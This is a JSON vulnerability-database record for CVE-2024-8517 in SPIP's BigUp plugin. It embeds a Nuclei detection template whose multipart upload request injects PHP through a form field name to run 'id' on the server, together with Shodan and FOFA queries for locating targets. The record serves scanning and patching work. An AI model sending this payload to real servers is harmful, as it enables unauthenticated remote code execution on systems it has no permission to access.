{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-8517/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-8517/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-8517/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-8517/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-8517/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-8517"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-8517"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-8517.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-8517\n\ninfo:\n  name: SPIP BigUp Plugin - Remote Code Execution\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    SPIP before 4.3.2, 4.2.16, and 4.1.18 is vulnerable to a command injection issue. A remote and unauthenticated attacker can execute arbitrary operating system commands by sending a crafted multipart file upload HTTP request.\n  impact: |\n    Unauthenticated attackers can execute arbitrary operating system commands through crafted multipart file upload requests, achieving complete server compromise and full control of the SPIP installation.\n  remediation: |\n    Update SPIP to version 4.3.2, 4.2.16, or 4.1.18 or later to address the command injection vulnerability in the BigUp plugin.\n  reference:\n    - https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html\n    - https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_2_a_big_upload/\n    - https://vulncheck.com/advisories/spip-upload-rce\n    - https://github.com/fkie-cad/nvd-json-data-feeds\n    - https://github.com/nomi-sec/PoC-in-GitHub\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-8517\n    cwe-id: CWE-646\n    epss-score: 0.94532\n    epss-percentile: 0.99854\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.favicon.hash:-1224668706\n    fofa-query: \"X-Spip-Cache\"\n  tags: cve,cve2024,intrusive,spip,rce,vuln,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n  string: \"{{randstr}}\"\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /spip.ph%70?pag%65=spip_pass&lang=fr HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'formulaire_action_args'\n          - 'spip'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        name: formulaire\n        regex:\n          - name=['\"]formulaire_action_args['\"]\\s*type=['\"]hidden['\"]\\s*value=['\"]([^'\"]+)['\"]\n        internal: true\n\n  - raw:\n      - |\n        POST /spip.ph%70?pag%65=spip_pass&lang=fr HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=5f02b65945d644d6a32847ab130e9586\n\n        --5f02b65945d644d6a32847ab130e9586\n        Content-Disposition: form-data; name=\"page\"\n\n        spip_pass\n        --5f02b65945d644d6a32847ab130e9586\n        Content-Disposition: form-data; name=\"lang\"\n\n        fr\n        --5f02b65945d644d6a32847ab130e9586\n        Content-Disposition: form-data; name=\"formulaire_action\"\n\n        oubli\n        --5f02b65945d644d6a32847ab130e9586\n        Content-Disposition: form-data; name=\"formulaire_action_args\"\n\n        {{formulaire}}\n        --5f02b65945d644d6a32847ab130e9586\n        Content-Disposition: form-data; name=\"formulaire_action_sign\"\n\n\n        --5f02b65945d644d6a32847ab130e9586\n        Content-Disposition: form-data; name=\"oubli\"\n\n        {{email}}\n        --5f02b65945d644d6a32847ab130e9586\n        Content-Disposition: form-data; name=\"nobot\"\n\n\n        --5f02b65945d644d6a32847ab130e9586\n        Content-Disposition: form-data; name=\"bigup_retrouver_fichiers\"\n\n        a\n        --5f02b65945d644d6a32847ab130e9586\n        Content-Disposition: form-data; name=\"RCE['.system('id').die().']\"; filename=\"{{filename}}.txt\"\n        Content-Type: text/plain\n\n        {{string}}\n        --5f02b65945d644d6a32847ab130e9586--\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"uid=[0-9]+.*gid=[0-9]+.*\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100cc032d9c8784ddbf6e42269565541aba030b803c1566c7b000b7acdaf88099c4022100f1b3825c63aff6385e8cd5b4090cd6963367f1c2ae01c8180a8a620df4081f1d:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-8517"
}